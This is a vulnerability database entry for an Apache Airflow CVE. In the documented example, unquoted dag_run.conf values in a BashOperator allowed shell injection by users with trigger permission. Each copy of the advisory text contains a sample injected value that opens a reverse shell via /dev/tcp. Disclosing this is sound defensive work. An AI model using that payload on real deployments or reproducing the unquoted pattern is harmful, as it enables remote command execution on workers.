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Vulnerability Details :

CVE-2026-42252

Summary
Assigner-apache
Assigner Org ID-f0158376-9dc2-43b6-827c-5f631a4d8d09
Published At-01 Jun, 2026 | 07:51
Updated At-02 Jun, 2026 | 16:43
Rejected At-
Credits

Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Vendors
-
Not available
Products
-
Metrics (CVSS)
VersionBase scoreBase severityVector
Weaknesses
Attack Patterns
Solution/Workaround
References
HyperlinkResource Type
EPSS History
Score
Latest Score
-
N/A
No data available for selected date range
Percentile
Latest Percentile
-
N/A
No data available for selected date range
Stakeholder-Specific Vulnerability Categorization (SSVC)
▼Common Vulnerabilities and Exposures (CVE)
cve.org
Assigner:apache
Assigner Org ID:f0158376-9dc2-43b6-827c-5f631a4d8d09
Published At:01 Jun, 2026 | 07:51
Updated At:02 Jun, 2026 | 16:43
Rejected At:
▼CVE Numbering Authority (CNA)
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Affected Products
Vendor
The Apache Software FoundationApache Software Foundation
Product
Apache Airflow
Collection URL
https://pypi.python.org
Package Name
apache-airflow
Default Status
unaffected
Versions
Affected
  • From 3.0.0 before 3.2.2 (semver)
Problem Types
TypeCWE IDDescription
CWECWE-1336CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Type: CWE
CWE ID: CWE-1336
Description: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Metrics
VersionBase scoreBase severityVector
Metrics Other Info
Textual description of severity
text:
low
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

finder
anonymous
remediation developer
Kevin Yang (sjyangkevin)
Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
https://github.com/apache/airflow/pull/64129
patch
https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
vendor-advisory
Hyperlink: https://github.com/apache/airflow/pull/64129
Resource:
patch
Hyperlink: https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
Resource:
vendor-advisory
▼Authorized Data Publishers (ADP)
CISA ADP Vulnrichment
Affected Products
Metrics
VersionBase scoreBase severityVector
3.19.1CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Version: 3.1
Base score: 9.1
Base severity: CRITICAL
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
Information is not available yet
▼National Vulnerability Database (NVD)
nvd.nist.gov
Source:security@apache.org
Published At:01 Jun, 2026 | 09:16
Updated At:02 Jun, 2026 | 18:48

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

CISA Catalog
Date AddedDue DateVulnerability NameRequired Action
N/A
Date Added: N/A
Due Date: N/A
Vulnerability Name: N/A
Required Action: N/A
Metrics
TypeVersionBase scoreBase severityVector
Secondary3.19.1CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Type: Secondary
Version: 3.1
Base score: 9.1
Base severity: CRITICAL
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CPE Matches

The Apache Software Foundation
apache
>>airflow>>Versions from 3.0.0(inclusive) to 3.2.2(exclusive)
cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
Weaknesses
CWE IDTypeSource
CWE-1336Secondarysecurity@apache.org
CWE ID: CWE-1336
Type: Secondary
Source: security@apache.org
Evaluator Description

Evaluator Impact

Evaluator Solution

Vendor Statements

References
HyperlinkSourceResource
https://github.com/apache/airflow/pull/64129security@apache.org
Issue Tracking
Patch
https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7security@apache.org
Mailing List
Vendor Advisory
Hyperlink: https://github.com/apache/airflow/pull/64129
Source: security@apache.org
Resource:
Issue Tracking
Patch
Hyperlink: https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
Source: security@apache.org
Resource:
Mailing List
Vendor Advisory

Change History

0
Information is not available yet

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